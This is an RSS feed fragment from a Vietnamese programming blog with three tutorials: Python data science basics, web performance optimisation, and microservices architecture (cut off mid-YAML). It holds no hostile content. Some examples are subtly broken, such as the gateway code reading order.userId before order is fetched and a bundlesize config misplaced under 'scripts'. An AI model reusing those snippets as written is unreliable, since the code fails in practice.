&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Python Cho Data Science — Pandas, NumPy Và Matplotlib Cơ Bản</title><link>https://dopana-blog.pages.dev/blog/python-data-science</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/python-data-science</guid><description>Khởi đầu với Data Science trong Python: làm quen với Pandas, NumPy, Matplotlib qua ví dụ thực tế.</description><pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Python là ngôn ngữ số 1 cho Data Science — đơn giản, hệ sinh thái khổng lồ. Bài này dẫn bạn từ 0 đến phân tích dữ liệu cơ bản.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install pandas numpy matplotlib seaborn jupyter
# Hoặc dùng conda
conda create -n ds python=3.12 pandas numpy matplotlib seaborn jupyter
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NumPy — Nền Tảng Tính Toán Số&lt;/h2&gt;
&lt;p&gt;NumPy là thư viện nền tảng — cung cấp array và các phép toán số học hiệu quả.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import numpy as np

# Tạo array
arr = np.array([1, 2, 3, 4, 5])
zeros = np.zeros((3, 4))
ones = np.ones((2, 3))
rng = np.arange(0, 10, 2)  # [0, 2, 4, 6, 8]
lin = np.linspace(0, 1, 5)  # [0, 0.25, 0.5, 0.75, 1]

# Phép toán — vectorized, không cần loop
a = np.array([1, 2, 3])
b = np.array([4, 5, 6])
print(a + b)    # [5, 7, 9]
print(a * b)    # [4, 10, 18]
print(a.mean()) # 2.0
print(a.sum())  # 6

# Indexing &amp;#x26; slicing
matrix = np.array([[1, 2, 3], [4, 5, 6], [7, 8, 9]])
print(matrix[0, 1])      # 2
print(matrix[:, :2])     # [[1, 2], [4, 5], [7, 8]]
print(matrix[matrix &gt; 5]) # [6, 7, 8, 9] — boolean indexing
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pandas — Xương Sống Của Data Science&lt;/h2&gt;
&lt;h3&gt;Series vs DataFrame&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pandas as pd

# Series — 1 cột
s = pd.Series([10, 20, 30, 40], index=[&apos;a&apos;, &apos;b&apos;, &apos;c&apos;, &apos;d&apos;])

# DataFrame — bảng
df = pd.DataFrame({
    &apos;name&apos;: [&apos;Alice&apos;, &apos;Bob&apos;, &apos;Charlie&apos;],
    &apos;age&apos;: [25, 30, 35],
    &apos;salary&apos;: [50000, 60000, 70000],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Đọc/Ghi Dữ Liệu&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# CSV
df = pd.read_csv(&apos;sales.csv&apos;)
df.to_csv(&apos;cleaned.csv&apos;, index=False)

# Excel
df = pd.read_excel(&apos;data.xlsx&apos;, sheet_name=&apos;Sheet1&apos;)

# JSON
df = pd.read_json(&apos;data.json&apos;)

# SQL
from sqlalchemy import create_engine
engine = create_engine(&apos;postgresql://user:pass@localhost/db&apos;)
df = pd.read_sql(&apos;SELECT * FROM users&apos;, engine)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Khám Phá Dữ Liệu&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;df.head(10)          # 10 dòng đầu
df.info()            # Kiểu dữ liệu, null count
df.describe()        # Thống kê cơ bản
df.shape             # (số dòng, số cột)
df.columns           # Danh sách cột
df[&apos;column&apos;].value_counts()  # Đếm giá trị
df.isnull().sum()    # Số null mỗi cột
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Lọc &amp;#x26; Chọn&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Lọc cột
df[&apos;name&apos;]
df[[&apos;name&apos;, &apos;salary&apos;]]

# Lọc dòng
df[df[&apos;age&apos;] &gt; 30]
df[(df[&apos;age&apos;] &gt; 25) &amp;#x26; (df[&apos;salary&apos;] &gt; 55000)]
df.query(&apos;age &gt; 25 and salary &gt; 55000&apos;)

# Lọc bằng loc/iloc
df.loc[0:2, [&apos;name&apos;, &apos;salary&apos;]]  # Label-based
df.iloc[0:2, 0:2]                # Index-based
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Xử Lý Missing Data&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Kiểm tra
df.isnull().sum()

# Xóa
df.dropna()                    # Xóa dòng có null
df.dropna(subset=[&apos;email&apos;])    # Xóa dòng null ở cột cụ thể

# Điền giá trị
df[&apos;age&apos;].fillna(df[&apos;age&apos;].median(), inplace=True)
df[&apos;category&apos;].fillna(&apos;Unknown&apos;, inplace=True)
df.fillna(method=&apos;ffill&apos;)      # Forward fill
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Group By &amp;#x26; Aggregate&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Doanh thu trung bình theo phòng ban
df.groupby(&apos;department&apos;)[&apos;salary&apos;].mean()

# Nhiều aggregate
df.groupby(&apos;department&apos;).agg({
    &apos;salary&apos;: [&apos;mean&apos;, &apos;median&apos;, &apos;min&apos;, &apos;max&apos;],
    &apos;age&apos;: &apos;mean&apos;,
})

# Pivot table
pd.pivot_table(df, values=&apos;salary&apos;, index=&apos;department&apos;,
               columns=&apos;gender&apos;, aggfunc=&apos;mean&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Apply — Transform Dữ Liệu&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Tạo cột mới
df[&apos;bonus&apos;] = df[&apos;salary&apos;] * 0.1

# Apply function
df[&apos;name_length&apos;] = df[&apos;name&apos;].apply(len)

# Map giá trị
df[&apos;gender_code&apos;] = df[&apos;gender&apos;].map({&apos;Male&apos;: 0, &apos;Female&apos;: 1})

# Vectorized string operations
df[&apos;email_domain&apos;] = df[&apos;email&apos;].str.split(&apos;@&apos;).str[1]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Matplotlib &amp;#x26; Seaborn — Trực Quan Hóa&lt;/h2&gt;
&lt;h3&gt;Matplotlib Cơ Bản&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import matplotlib.pyplot as plt

# Line plot
x = [1, 2, 3, 4, 5]
y = [2, 4, 6, 8, 10]
plt.plot(x, y, marker=&apos;o&apos;, linestyle=&apos;--&apos;, color=&apos;blue&apos;)
plt.xlabel(&apos;X axis&apos;)
plt.ylabel(&apos;Y axis&apos;)
plt.title(&apos;Simple Line Plot&apos;)
plt.show()

# Bar chart
categories = [&apos;A&apos;, &apos;B&apos;, &apos;C&apos;, &apos;D&apos;]
values = [23, 45, 56, 78]
plt.bar(categories, values, color=&apos;green&apos;)
plt.show()

# Histogram
data = np.random.normal(170, 10, 1000)
plt.hist(data, bins=30, edgecolor=&apos;black&apos;)
plt.xlabel(&apos;Height (cm)&apos;)
plt.ylabel(&apos;Frequency&apos;)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Seaborn — Đẹp Hơn, Dễ Hơn&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import seaborn as sns

# Load dataset mẫu
tips = sns.load_dataset(&apos;tips&apos;)

# Scatter plot
sns.scatterplot(data=tips, x=&apos;total_bill&apos;, y=&apos;tip&apos;, hue=&apos;time&apos;)

# Box plot
sns.boxplot(data=tips, x=&apos;day&apos;, y=&apos;total_bill&apos;)

# Correlation heatmap
corr = tips.select_dtypes(include=&apos;number&apos;).corr()
sns.heatmap(corr, annot=True, cmap=&apos;coolwarm&apos;)

# Pair plot — quan hệ giữa nhiều biến
sns.pairplot(tips, hue=&apos;sex&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ví Dụ Hoàn Chỉnh — Phân Tích Sales&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

# 1. Đọc dữ liệu
df = pd.read_csv(&apos;sales.csv&apos;)

# 2. Làm sạch
df.dropna(subset=[&apos;revenue&apos;], inplace=True)
df[&apos;date&apos;] = pd.to_datetime(df[&apos;date&apos;])
df[&apos;month&apos;] = df[&apos;date&apos;].dt.month

# 3. Phân tích
monthly_revenue = df.groupby(&apos;month&apos;)[&apos;revenue&apos;].sum()
top_products = df.groupby(&apos;product&apos;)[&apos;revenue&apos;].sum().sort_values(ascending=False).head(10)

# 4. Trực quan
fig, axes = plt.subplots(1, 2, figsize=(14, 5))

axes[0].plot(monthly_revenue.index, monthly_revenue.values, marker=&apos;o&apos;)
axes[0].set_title(&apos;Monthly Revenue&apos;)
axes[0].set_xlabel(&apos;Month&apos;)
axes[0].set_ylabel(&apos;Revenue&apos;)

sns.barplot(x=top_products.values, y=top_products.index, ax=axes[1])
axes[1].set_title(&apos;Top 10 Products&apos;)
axes[1].set_xlabel(&apos;Revenue&apos;)

plt.tight_layout()
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Data Science trong Python gồm 3 thư viện cốt lõi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NumPy — Array và tính toán số&lt;/li&gt;
&lt;li&gt;Pandas — Thao tác dữ liệu dạng bảng&lt;/li&gt;
&lt;li&gt;Matplotlib/Seaborn — Trực quan hóa&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Học theo thứ tự đó. Dành 80% thời gian cho Pandas — nó là thứ bạn dùng nhiều nhất. Jupyter Notebook là môi trường lý tưởng để thực hành.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://numpy.org/doc/stable/&quot;&gt;NumPy Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pandas.pydata.org/docs/&quot;&gt;Pandas Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://matplotlib.org/stable/&quot;&gt;Matplotlib Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://seaborn.pydata.org&quot;&gt;Seaborn Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.jupyter.org&quot;&gt;Jupyter Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Web Performance Optimization — Tối Ưu Tốc Độ Website</title><link>https://dopana-blog.pages.dev/blog/web-performance</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/web-performance</guid><description>Các kỹ thuật tối ưu web performance: Core Web Vitals, lazy loading, code splitting, caching và hơn thế nữa.</description><pubDate>Fri, 26 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Tốc độ website ảnh hưởng trực tiếp đến user experience và SEO. 53% user rời trang nếu load lâu hơn 3 giây.&lt;/p&gt;
&lt;h2&gt;Core Web Vitals — Google Nói Gì?&lt;/h2&gt;
&lt;p&gt;| Metric | Tốt | Cần cải thiện | Kém |
|---|---|---|---|
| LCP (Largest Contentful Paint) | ≤ 2.5s | ≤ 4s | &gt; 4s |
| INP (Interaction to Next Paint) | ≤ 200ms | ≤ 500ms | &gt; 500ms |
| CLS (Cumulative Layout Shift) | ≤ 0.1 | ≤ 0.25 | &gt; 0.25 |&lt;/p&gt;
&lt;h2&gt;1. Images — Nặng Nhất Trang&lt;/h2&gt;
&lt;h3&gt;Lazy Loading&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img src=&quot;image.jpg&quot; loading=&quot;lazy&quot; alt=&quot;...&quot; /&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chỉ tải ảnh khi user chuẩn bị scroll đến — tiết kiệm bandwidth, giảm initial load time.&lt;/p&gt;
&lt;h3&gt;WebP / AVIF&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;picture&gt;
  &amp;#x3C;source srcset=&quot;image.avif&quot; type=&quot;image/avif&quot;&gt;
  &amp;#x3C;source srcset=&quot;image.webp&quot; type=&quot;image/webp&quot;&gt;
  &amp;#x3C;img src=&quot;image.jpg&quot; alt=&quot;...&quot;&gt;
&amp;#x3C;/picture&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;WebP nhỏ hơn JPEG 25-35%, AVIF nhỏ hơn 50%.&lt;/p&gt;
&lt;h3&gt;Responsive Images&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;img
  src=&quot;image-800.jpg&quot;
  srcset=&quot;image-400.jpg 400w, image-800.jpg 800w, image-1200.jpg 1200w&quot;
  sizes=&quot;(max-width: 600px) 400px, 800px&quot;
  alt=&quot;...&quot;
/&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Trình duyệt tự chọn ảnh phù hợp với viewport.&lt;/p&gt;
&lt;h2&gt;2. JavaScript — Kẻ Thù Của Performance&lt;/h2&gt;
&lt;h3&gt;Code Splitting&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — import tất cả
import { Chart } from &apos;chart.js&apos;;

// ✅ Tốt — dynamic import
const Chart = await import(&apos;chart.js&apos;);

// React.lazy
const Dashboard = lazy(() =&gt; import(&apos;./Dashboard&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tree Shaking&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Import cả thư viện
import { debounce } from &apos;lodash&apos;;

// ✅ Import đúng hàm
import debounce from &apos;lodash/debounce&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Async / Defer&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- ❌ Block rendering --&gt;
&amp;#x3C;script src=&quot;app.js&quot;&gt;&amp;#x3C;/script&gt;

&amp;#x3C;!-- ✅ Tải song song, chạy sau khi parse HTML --&gt;
&amp;#x3C;script defer src=&quot;app.js&quot;&gt;&amp;#x3C;/script&gt;

&amp;#x3C;!-- ✅ Tải song song, chạy ngay khi tải xong --&gt;
&amp;#x3C;script async src=&quot;analytics.js&quot;&gt;&amp;#x3C;/script&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. CSS — Tối Ưu Render&lt;/h2&gt;
&lt;h3&gt;Critical CSS&lt;/h3&gt;
&lt;p&gt;Inline CSS cần thiết cho above-the-fold, defer phần còn lại:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;head&gt;
  &amp;#x3C;style&gt;
    /* Critical CSS — inline trực tiếp */
    header { ... }
    .hero { ... }
  &amp;#x3C;/style&gt;
  &amp;#x3C;link rel=&quot;preload&quot; href=&quot;styles.css&quot; as=&quot;style&quot; onload=&quot;this.onload=null;this.rel=&apos;stylesheet&apos;&quot;&gt;
&amp;#x3C;/head&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Loại Bỏ CSS Không Dùng&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npx purgecss --css styles.css --content &quot;src/**/*.html&quot; --output dist/
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Font — Tránh FOIT (Flash of Invisible Text)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;link rel=&quot;preconnect&quot; href=&quot;https://fonts.googleapis.com&quot;&gt;
&amp;#x3C;link rel=&quot;preconnect&quot; href=&quot;https://fonts.gstatic.com&quot; crossorigin&gt;

&amp;#x3C;!-- font-display: swap — hiển thị text ngay với fallback font --&gt;
&amp;#x3C;style&gt;
  @font-face {
    font-family: &apos;Inter&apos;;
    src: url(&apos;/fonts/inter.woff2&apos;) format(&apos;woff2&apos;);
    font-display: swap;
  }
&amp;#x3C;/style&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không dùng quá 2 font families và subset font để giảm kích thước:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# glyphhanger — subset font
glyphhanger https://example.com --subset=*.ttf --formats=woff2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Caching — Đừng Để Browser Phải Tải Lại&lt;/h2&gt;
&lt;h3&gt;HTTP Cache Headers&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Static assets — cache lâu
app.use(&apos;/assets&apos;, express.static(&apos;dist&apos;, {
  maxAge: &apos;1y&apos;,
  immutable: true,
}));

// HTML — không cache hoặc cache ngắn
app.get(&apos;/&apos;, (req, res) =&gt; {
  res.set(&apos;Cache-Control&apos;, &apos;no-cache&apos;);
  res.sendFile(&apos;index.html&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Service Worker&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// sw.js
self.addEventListener(&apos;install&apos;, (event) =&gt; {
  event.waitUntil(
    caches.open(&apos;v1&apos;).then((cache) =&gt; {
      return cache.addAll([
        &apos;/&apos;,
        &apos;/styles.css&apos;,
        &apos;/app.js&apos;,
      ]);
    })
  );
});

self.addEventListener(&apos;fetch&apos;, (event) =&gt; {
  event.respondWith(
    caches.match(event.request).then((response) =&gt; {
      return response || fetch(event.request);
    })
  );
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Network — Giảm Số Request&lt;/h2&gt;
&lt;h3&gt;HTTP/2 Multiplexing&lt;/h3&gt;
&lt;p&gt;HTTP/2 cho phép gửi nhiều file song song qua một connection. Không cần concatenate JS/CSS thành một file như thời HTTP/1.1.&lt;/p&gt;
&lt;h3&gt;Preload / Prefetch / Preconnect&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Preload — tải sớm resource quan trọng --&gt;
&amp;#x3C;link rel=&quot;preload&quot; href=&quot;/fonts/inter.woff2&quot; as=&quot;font&quot; crossorigin&gt;

&amp;#x3C;!-- Prefetch — tải trước trang user có thể visit --&gt;
&amp;#x3C;link rel=&quot;prefetch&quot; href=&quot;/blog/microservices&quot;&gt;

&amp;#x3C;!-- Preconnect — kết nối trước đến origin --&gt;
&amp;#x3C;link rel=&quot;preconnect&quot; href=&quot;https://api.example.com&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Bundle Size — Theo Dõi&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Phân tích bundle
npx vite-bundle-visualizer
# hoặc
npx source-map-explorer dist/assets/*.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Đặt threshold trong CI:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;scripts&quot;: {
    &quot;size&quot;: &quot;bundlesize&quot;,
    &quot;bundlesize&quot;: [
      { &quot;path&quot;: &quot;dist/assets/*.js&quot;, &quot;maxSize&quot;: &quot;100 kB&quot; }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. Lighthouse Score — Tự Động Kiểm Tra&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Lighthouse CI
npx lhci autorun

# Hoặc web vitals trong code
import { onLCP, onINP, onCLS } from &apos;web-vitals&apos;;

onLCP(console.log);
onINP(console.log);
onCLS(console.log);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist Tối Ưu&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Images: WebP/AVIF, lazy loading, responsive&lt;/li&gt;
&lt;li&gt;[ ] JS: code splitting, tree shaking, defer&lt;/li&gt;
&lt;li&gt;[ ] CSS: critical CSS inline, purge unused&lt;/li&gt;
&lt;li&gt;[ ] Font: display swap, subset, preconnect&lt;/li&gt;
&lt;li&gt;[ ] Caching: Cache-Control, service worker&lt;/li&gt;
&lt;li&gt;[ ] Preload critical resources&lt;/li&gt;
&lt;li&gt;[ ] HTTP/2 enabled&lt;/li&gt;
&lt;li&gt;[ ] Lighthouse score &gt; 90&lt;/li&gt;
&lt;li&gt;[ ] Core Web Vitals all &quot;Good&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Performance là tính năng. Không phải thứ &quot;làm sau&quot; — nó ảnh hưởng đến revenue, user retention, SEO. Bắt đầu từ images (thường là thủ phạm nặng nhất), sau đó đến JS và font. Đo lường trước và sau để thấy sự khác biệt.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://web.dev/articles/vitals&quot;&gt;Web Vitals Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Learn/Performance&quot;&gt;MDN Performance Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.chrome.com/docs/lighthouse/&quot;&gt;Lighthouse Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.dev/learn/performance/&quot;&gt;web.dev — Performance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pagespeed.web.dev&quot;&gt;PageSpeed Insights&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Microservices Architecture — Khi Nào Và Làm Thế Nào?</title><link>https://dopana-blog.pages.dev/blog/microservices</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/microservices</guid><description>Tìm hiểu kiến trúc microservices: ưu nhược điểm, cách phân chia service, giao tiếp giữa các service và triển khai.</description><pubDate>Thu, 25 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Microservices không phải &quot;viên đạn bạc&quot; — nó là kiến trúc đi kèm chi phí. Bài này giúp bạn quyết định khi nào nên dùng và triển khai thế nào.&lt;/p&gt;
&lt;h2&gt;Monolith vs Microservices&lt;/h2&gt;
&lt;p&gt;| | Monolith | Microservices |
|---|---|---|
| Triển khai | 1 deploy = cả app | Mỗi service deploy riêng |
| Scale | Scale toàn bộ | Scale từng service |
| Độ phức tạp | Thấp (lúc đầu) | Cao (luôn luôn) |
| Lỗi | 1 lỗi có thể crash cả app | Cô lập trong service |
| Team | 1 team | Nhiều team độc lập |&lt;/p&gt;
&lt;h2&gt;Khi Nào Nên Dùng Microservices?&lt;/h2&gt;
&lt;h3&gt;Nên bắt đầu với Monolith&lt;/h3&gt;
&lt;p&gt;Hầu hết project nên bắt đầu với monolith. Đừng microservices từ ngày 0.&lt;/p&gt;
&lt;h3&gt;Chuyển Sang Microservices Khi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Team &gt; 10 người, nhiều team riêng&lt;/li&gt;
&lt;li&gt;Deploy chậm vì phải chờ nhau&lt;/li&gt;
&lt;li&gt;Một module cần scale khác biệt (ví dụ: notification service cần nhiều resource)&lt;/li&gt;
&lt;li&gt;Cần công nghệ khác nhau cho từng module (Python cho ML, Node cho API)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Phân Chia Service&lt;/h2&gt;
&lt;h3&gt;Theo Domain (DDD — Domain-Driven Design)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;users-service → Quản lý user, auth
orders-service → Đơn hàng, thanh toán
products-service → Sản phẩm, kho hàng
notifications-service → Email, push, SMS
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mỗi service sở hữu data riêng — không share database.&lt;/p&gt;
&lt;h3&gt;Kích Thước Service&lt;/h3&gt;
&lt;p&gt;Service không nên quá nhỏ (nanoservices) hay quá lớn (distributed monolith). Dấu hiệu service quá to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;p&gt;20 bảng trong database&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;blockquote&gt;
&lt;p&gt;10 developer cùng làm&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;Mất &gt; 30 phút để hiểu codebase&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Giao Tiếp Giữa Các Service&lt;/h2&gt;
&lt;h3&gt;Synchronous — HTTP/REST hoặc gRPC&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Order service gọi User service
const user = await fetch(`http://users-service/users/${userId}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Đơn giản, dễ debug. Nhược: Tăng latency, service phụ thuộc nhau.&lt;/p&gt;
&lt;h3&gt;Asynchronous — Message Queue&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Order service publish event
await broker.publish(&apos;order.created&apos;, {
  orderId: &apos;123&apos;,
  userId: &apos;456&apos;,
  amount: 100,
});

// Email service consume event
broker.subscribe(&apos;order.created&apos;, async (event) =&gt; {
  await sendEmail(event.userId, &apos;Order confirmed!&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Loose coupling, chịu lỗi tốt. Nhược: Phức tạp hơn, khó debug.&lt;/p&gt;
&lt;p&gt;Công cụ: RabbitMQ, Kafka, NATS, Redis Pub/Sub.&lt;/p&gt;
&lt;h3&gt;Service Discovery&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# docker-compose.yml
services:
  users-service:
    image: users-service
    ports:
      - &quot;3001:3000&quot;

  orders-service:
    image: orders-service
    environment:
      - USERS_SERVICE_URL=http://users-service:3000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kubernetes dùng DNS built-in: &lt;code&gt;users-service.namespace.svc.cluster.local&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;API Gateway&lt;/h2&gt;
&lt;p&gt;Gateway là entry point duy nhất cho client:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Client → API Gateway → users-service
                     → orders-service
                     → products-service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Gateway làm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Routing — chuyển request đến service đúng&lt;/li&gt;
&lt;li&gt;Auth — kiểm tra token trước khi vào internal&lt;/li&gt;
&lt;li&gt;Rate limit — bảo vệ hệ thống&lt;/li&gt;
&lt;li&gt;Response aggregation — gộp data từ nhiều service&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Ví dụ với Express Gateway hoặc custom
app.get(&apos;/order/:id&apos;, async (req, res) =&gt; {
  const [order, user, product] = await Promise.all([
    fetch(`http://orders-service/orders/${req.params.id}`),
    fetch(`http://users-service/users/${order.userId}`),
    fetch(`http://products-service/products/${order.productId}`),
  ]);
  res.json({ order, user, product });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Database Per Service&lt;/h2&gt;
&lt;p&gt;Mỗi service có database riêng — không share trực tiếp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;orders-service: PostgreSQL&lt;/li&gt;
&lt;li&gt;users-service: PostgreSQL&lt;/li&gt;
&lt;li&gt;products-service: MongoDB&lt;/li&gt;
&lt;li&gt;analytics-service: ClickHouse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vấn đề: Query xuyên service? Dùng eventual consistency + CQRS.&lt;/p&gt;
&lt;h2&gt;Distributed Tracing&lt;/h2&gt;
&lt;p&gt;Microservices khó debug — trace giúp theo dõi request xuyên service:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// OpenTelemetry
import opentelemetry from &apos;@opentelemetry/api&apos;;

const tracer = opentelemetry.trace.getTracer(&apos;orders-service&apos;);

app.get(&apos;/order/:id&apos;, async (req, res) =&gt; {
  const span = tracer.startSpan(&apos;get-order&apos;);
  span.setAttribute(&apos;order.id&apos;, req.params.id);
  // ... xử lý
  span.end();
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Công cụ: Jaeger, Zipkin, Grafana Tempo, Datadog APM.&lt;/p&gt;
&lt;h2&gt;Triển Khai&lt;/h2&gt;
&lt;h3&gt;Docker Compose — Cho Dev&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;services:
  gateway:
    build: ./gateway
    ports:
      - &quot;8080:8080&quot;
  users:
    build: ./users-service
  orders:
    build: ./orders-service
  rabbitmq:
    image: rabbitmq:4-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Kubernetes — Cho Production&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  name: users-service
spec:
  replicas: 3
  selector:
    matchLabels:
      app: users-service
  template:
    metadata:
      labels:
        app: users-service
    spec:
      containers:
        - name: users
          image: myapp/users-service:latest
          ports:
            - containerPort: 3000
